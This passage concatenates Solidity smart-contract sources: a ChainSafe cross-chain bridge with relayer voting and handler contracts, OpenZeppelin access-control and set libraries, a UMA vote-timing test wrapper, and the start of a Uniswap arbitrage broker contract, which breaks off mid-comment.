function adminRemoveRelayer(address relayerAddress) external onlyAdmin {
require(hasRole(RELAYER_ROLE, relayerAddress), "addr doesn't have relayer role!");
revokeRole(RELAYER_ROLE, relayerAddress);
emit RelayerRemoved(relayerAddress);
_totalRelayers--;
}
/**
@notice Sets a new resource for handler contracts that use the IERCHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetResource(
address handlerAddress,
bytes32 resourceID,
address tokenAddress
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IERCHandler handler = IERCHandler(handlerAddress);
handler.setResource(resourceID, tokenAddress);
}
/**
@notice Sets a new resource for handler contracts that use the IGenericHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetGenericResource(
address handlerAddress,
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IGenericHandler handler = IGenericHandler(handlerAddress);
handler.setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice Sets a resource as burnable for handler contracts that use the IERCHandler interface.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetBurnable(address handlerAddress, address tokenAddress) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.setBurnable(tokenAddress);
}
/**
@notice Returns a proposal.
@param originChainID Chain ID deposit originated from.
@param depositNonce ID of proposal generated by proposal's origin Bridge contract.
@param dataHash Hash of data to be provided when deposit proposal is executed.
@return Proposal which consists of:
- _dataHash Hash of data to be provided when deposit proposal is executed.
- _yesVotes Number of votes in favor of proposal.
- _noVotes Number of votes against proposal.
- _status Current status of proposal.
*/
function getProposal(
uint8 originChainID,
uint64 depositNonce,
bytes32 dataHash
) external view returns (Proposal memory) {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(originChainID);
return _proposals[nonceAndID][dataHash];
}
/**
@notice Changes deposit fee.
@notice Only callable by admin.
@param newFee Value {_fee} will be updated to.
*/
function adminChangeFee(uint256 newFee) external onlyAdmin {
require(_fee != newFee, "Current fee is equal to new fee");
_fee = newFee;
}
/**
@notice Used to manually withdraw funds from ERC safes.
@param handlerAddress Address of handler to withdraw from.
@param tokenAddress Address of token to withdraw.
@param recipient Address to withdraw tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to withdraw.
*/
function adminWithdraw(
address handlerAddress,
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.withdraw(tokenAddress, recipient, amountOrTokenID);
}
/**
@notice Initiates a transfer using a specified handler contract.
@notice Only callable when Bridge is not paused.
@param destinationChainID ID of chain deposit will be bridged to.
@param resourceID ResourceID used to find address of handler to be used for deposit.
@param data Additional data to be passed to specified handler.
@notice Emits {Deposit} event.
*/
function deposit(
uint8 destinationChainID,
bytes32 resourceID,
bytes calldata data
) external payable whenNotPaused {
require(msg.value == _fee, "Incorrect fee supplied");
address handler = _resourceIDToHandlerAddress[resourceID];
require(handler != address(0), "resourceID not mapped to handler");
uint64 depositNonce = ++_depositCounts[destinationChainID];
_depositRecords[depositNonce][destinationChainID] = data;
IDepositExecute depositHandler = IDepositExecute(handler);
depositHandler.deposit(resourceID, destinationChainID, depositNonce, msg.sender, data);
emit Deposit(destinationChainID, resourceID, depositNonce);
}
/**
@notice When called, {msg.sender} will be marked as voting in favor of proposal.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data provided when deposit was made.
@notice Proposal must not have already been passed or executed.
@notice {msg.sender} must not have already voted on proposal.
@notice Emits {ProposalEvent} event with status indicating the proposal status.
@notice Emits {ProposalVote} event.
*/
function voteProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 resourceID,
bytes32 dataHash
) external onlyRelayers whenNotPaused {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(_resourceIDToHandlerAddress[resourceID] != address(0), "no handler for resourceID");
require(uint256(proposal._status) <= 1, "proposal already passed/executed/cancelled");
require(!_hasVotedOnProposal[nonceAndID][dataHash][msg.sender], "relayer already voted");
if (uint256(proposal._status) == 0) {
++_totalProposals;
_proposals[nonceAndID][dataHash] = Proposal({
_resourceID: resourceID,
_dataHash: dataHash,
_yesVotes: new address[](1),
_noVotes: new address[](0),
_status: ProposalStatus.Active,
_proposedBlock: block.number
});
proposal._yesVotes[0] = msg.sender;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Active, resourceID, dataHash);
} else {
if (block.number.sub(proposal._proposedBlock) > _expiry) {
// if the number of blocks that has passed since this proposal was
// submitted exceeds the expiry threshold set, cancel the proposal
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, resourceID, dataHash);
} else {
require(dataHash == proposal._dataHash, "datahash mismatch");
proposal._yesVotes.push(msg.sender);
}
}
if (proposal._status != ProposalStatus.Cancelled) {
_hasVotedOnProposal[nonceAndID][dataHash][msg.sender] = true;
emit ProposalVote(chainID, depositNonce, proposal._status, resourceID);
// If _depositThreshold is set to 1, then auto finalize
// or if _relayerThreshold has been exceeded
if (_relayerThreshold <= 1 || proposal._yesVotes.length >= _relayerThreshold) {
proposal._status = ProposalStatus.Passed;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Passed, resourceID, dataHash);
}
}
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data originally provided when deposit was made.
@notice Proposal must be past expiry threshold.
@notice Emits {ProposalEvent} event with status {Cancelled}.
*/
function cancelProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 dataHash
) public onlyAdminOrRelayer {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Cancelled, "Proposal already cancelled");
require(block.number.sub(proposal._proposedBlock) > _expiry, "Proposal not at expiry threshold");
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, proposal._resourceID, proposal._dataHash);
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param resourceID ResourceID to be used when making deposits.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param data Data originally provided when deposit was made.
@notice Proposal must have Passed status.
@notice Hash of {data} must equal proposal's {dataHash}.
@notice Emits {ProposalEvent} event with status {Executed}.
*/
function executeProposal(
uint8 chainID,
uint64 depositNonce,
bytes calldata data,
bytes32 resourceID
) external onlyRelayers whenNotPaused {
address handler = _resourceIDToHandlerAddress[resourceID];
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
bytes32 dataHash = keccak256(abi.encodePacked(handler, data));
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Inactive, "proposal is not active");
require(proposal._status == ProposalStatus.Passed, "proposal already transferred");
require(dataHash == proposal._dataHash, "data doesn't match datahash");
proposal._status = ProposalStatus.Executed;
IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[proposal._resourceID]);
depositHandler.executeProposal(proposal._resourceID, data);
emit ProposalEvent(chainID, depositNonce, proposal._status, proposal._resourceID, proposal._dataHash);
}
/**
@notice Transfers eth in the contract to the specified addresses. The parameters addrs and amounts are mapped 1-1.
This means that the address at index 0 for addrs will receive the amount (in WEI) from amounts at index 0.
@param addrs Array of addresses to transfer {amounts} to.
@param amounts Array of amonuts to transfer to {addrs}.
*/
function transferFunds(address payable[] calldata addrs, uint256[] calldata amounts) external onlyAdmin {
for (uint256 i = 0; i < addrs.length; i++) {
addrs[i].transfer(amounts[i]);
}
}
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity ^0.6.0;
/**
@title Interface for handler contracts that support deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IDepositExecute {
/**
@notice It is intended that deposit are made using the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of additional data needed for a specific deposit.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external;
/**
@notice It is intended that proposals are executed by the Bridge contract.
@param data Consists of additional data needed for a specific deposit execution.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for Bridge contract.
@author ChainSafe Systems.
*/
interface IBridge {
/**
@notice Exposing getter for {_chainID} instead of forcing the use of call.
@return uint8 The {_chainID} that is currently set for the Bridge contract.
*/
function _chainID() external returns (uint8);
}
pragma solidity ^0.6.0;
/**
@title Interface to be used with handlers that support ERC20s and ERC721s.
@author ChainSafe Systems.
*/
interface IERCHandler {
/**
@notice Correlates {resourceID} with {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function setResource(bytes32 resourceID, address contractAddress) external;
/**
@notice Marks {contractAddress} as mintable/burnable.
@param contractAddress Address of contract to be used when making or executing deposits.
*/
function setBurnable(address contractAddress) external;
/**
@notice Used to manually release funds from ERC safes.
@param tokenAddress Address of token contract to release.
@param recipient Address to release tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release.
*/
function withdraw(
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for handler that handles generic deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IGenericHandler {
/**
@notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external;
}
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./IGenericHandler.sol";
/**
@title Handles generic deposits and deposit executions.
@author ChainSafe Systems.
@notice This contract is intended to be used with the Bridge contract.
*/
contract GenericHandler is IGenericHandler {
address public _bridgeAddress;
struct DepositRecord {
uint8 _destinationChainID;
address _depositer;
bytes32 _resourceID;
bytes _metaData;
}
// depositNonce => Deposit Record
mapping(uint8 => mapping(uint64 => DepositRecord)) public _depositRecords;
// resourceID => contract address
mapping(bytes32 => address) public _resourceIDToContractAddress;
// contract address => resourceID
mapping(address => bytes32) public _contractAddressToResourceID;
// contract address => deposit function signature
mapping(address => bytes4) public _contractAddressToDepositFunctionSignature;
// contract address => execute proposal function signature
mapping(address => bytes4) public _contractAddressToExecuteFunctionSignature;
// token contract address => is whitelisted
mapping(address => bool) public _contractWhitelist;
modifier onlyBridge() {
_onlyBridge();
_;
}
function _onlyBridge() private {
require(msg.sender == _bridgeAddress, "sender must be bridge contract");
}
/**
@param bridgeAddress Contract address of previously deployed Bridge.
@param initialResourceIDs Resource IDs used to identify a specific contract address.
These are the Resource IDs this contract will initially support.
@param initialContractAddresses These are the addresses the {initialResourceIDs} will point to, and are the contracts that will be
called to perform deposit and execution calls.
@param initialDepositFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {deposit}
@param initialExecuteFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {executeProposal}
@dev {initialResourceIDs}, {initialContractAddresses}, {initialDepositFunctionSignatures},
and {initialExecuteFunctionSignatures} must all have the same length. Also,
values must be ordered in the way that that index x of any mentioned array
must be intended for value x of any other array, e.g. {initialContractAddresses}[0]
is the intended address for {initialDepositFunctionSignatures}[0].
*/
constructor(
address bridgeAddress,
bytes32[] memory initialResourceIDs,
address[] memory initialContractAddresses,
bytes4[] memory initialDepositFunctionSignatures,
bytes4[] memory initialExecuteFunctionSignatures
) public {
require(
initialResourceIDs.length == initialContractAddresses.length,
"initialResourceIDs and initialContractAddresses len mismatch"
);
require(
initialContractAddresses.length == initialDepositFunctionSignatures.length,
"provided contract addresses and function signatures len mismatch"
);
require(
initialDepositFunctionSignatures.length == initialExecuteFunctionSignatures.length,
"provided deposit and execute function signatures len mismatch"
);
_bridgeAddress = bridgeAddress;
for (uint256 i = 0; i < initialResourceIDs.length; i++) {
_setResource(
initialResourceIDs[i],
initialContractAddresses[i],
initialDepositFunctionSignatures[i],
initialExecuteFunctionSignatures[i]
);
}
}
/**
@param depositNonce This ID will have been generated by the Bridge contract.
@param destId ID of chain deposit will be bridged to.
@return DepositRecord which consists of:
- _destinationChainID ChainID deposited tokens are intended to end up on.
- _resourceID ResourceID used when {deposit} was executed.
- _depositer Address that initially called {deposit} in the Bridge contract.
- _metaData Data to be passed to method executed in corresponding {resourceID} contract.
*/
function getDepositRecord(uint64 depositNonce, uint8 destId) external view returns (DepositRecord memory) {
return _depositRecords[destId][depositNonce];
}
/**
@notice First verifies {_resourceIDToContractAddress}[{resourceID}] and
{_contractAddressToResourceID}[{contractAddress}] are not already set,
then sets {_resourceIDToContractAddress} with {contractAddress},
{_contractAddressToResourceID} with {resourceID},
{_contractAddressToDepositFunctionSignature} with {depositFunctionSig},
{_contractAddressToExecuteFunctionSignature} with {executeFunctionSig},
and {_contractWhitelist} to true for {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external override onlyBridge {
_setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice A deposit is initiatied by making a deposit in the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of: {resourceID}, {lenMetaData}, and {metaData} all padded to 32 bytes.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 64 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToDepositFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external onlyBridge {
bytes32 lenMetadata;
bytes memory metadata;
assembly {
// Load length of metadata from data + 64
lenMetadata := calldataload(0xC4)
// Load free memory pointer
metadata := mload(0x40)
mstore(0x40, add(0x20, add(metadata, lenMetadata)))
// func sig (4) + destinationChainId (padded to 32) + depositNonce (32) + depositor (32) +
// bytes length (32) + resourceId (32) + length (32) = 0xC4
calldatacopy(
metadata, // copy to metadata
0xC4, // copy from calldata after metadata length declaration @0xC4
sub(calldatasize(), 0xC4) // copy size (calldatasize - (0xC4 + the space metaData takes up))
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToDepositFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metadata);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
_depositRecords[destinationChainID][depositNonce] = DepositRecord(
destinationChainID,
depositer,
resourceID,
metadata
);
}
/**
@notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract.
@param data Consists of {resourceID}, {lenMetaData}, and {metaData}.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 32 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToExecuteFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external onlyBridge {
bytes memory metaData;
assembly {
// metadata has variable length
// load free memory pointer to store metadata
metaData := mload(0x40)
// first 32 bytes of variable length in storage refer to length
let lenMeta := calldataload(0x64)
mstore(0x40, add(0x60, add(metaData, lenMeta)))
// in the calldata, metadata is stored @0x64 after accounting for function signature, and 2 previous params
calldatacopy(
metaData, // copy to metaData
0x64, // copy from calldata after data length declaration at 0x64
sub(calldatasize(), 0x64) // copy size (calldatasize - 0x64)
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToExecuteFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metaData);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
}
function _setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) internal {
_resourceIDToContractAddress[resourceID] = contractAddress;
_contractAddressToResourceID[contractAddress] = resourceID;
_contractAddressToDepositFunctionSignature[contractAddress] = depositFunctionSig;
_contractAddressToExecuteFunctionSignature[contractAddress] = executeFunctionSig;
_contractWhitelist[contractAddress] = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../interfaces/VotingInterface.sol";
import "../VoteTiming.sol";
// Wraps the library VoteTiming for testing purposes.
contract VoteTimingTest {
using VoteTiming for VoteTiming.Data;
VoteTiming.Data public voteTiming;
constructor(uint256 phaseLength) public {
wrapInit(phaseLength);
}
function wrapComputeCurrentRoundId(uint256 currentTime) external view returns (uint256) {
return voteTiming.computeCurrentRoundId(currentTime);
}
function wrapComputeCurrentPhase(uint256 currentTime) external view returns (VotingAncillaryInterface.Phase) {
return voteTiming.computeCurrentPhase(currentTime);
}
function wrapInit(uint256 phaseLength) public {
voteTiming.init(phaseLength);
}
}
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/lib/contracts/libraries/Babylonian.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/lib/contracts/libraries/FullMath.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
/**
* @title UniswapBroker
* @notice Trading contract used to arb uniswap pairs to a desired "true" price. Intended use is to arb UMA perpetual
* synthetics that trade off peg. This implementation can ber used in conjunction with a DSProxy contract to atomically
* swap and move a uniswap market.
*/
contract UniswapBroker {
using SafeMath for uint256;
/**
* @notice Swaps an amount of either token such that the trade results in the uniswap pair's price being as close as
* possible to the truePrice.
* @dev True price is expressed in the ratio of token A to token B.
* @dev The caller must approve this contract to spend whichever token is intended to be swapped.
* @param tradingAsEOA bool to indicate if the UniswapBroker is being called by a DSProxy or an EOA.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param uniswapFactory address of the uniswap factory used to fetch current pair reserves.
* @param swappedTokens array of addresses which are to be swapped. The order does not matter as the function will figure
* out which tokens need to be exchanged to move the market to the desired "true" price.
* @param truePriceTokens array of unit used to represent the true price. 0th value is the numerator of the true price
* and the 1st value is the the denominator of the true price.
* @param maxSpendTokens array of unit to represent the max to spend in the two tokens.
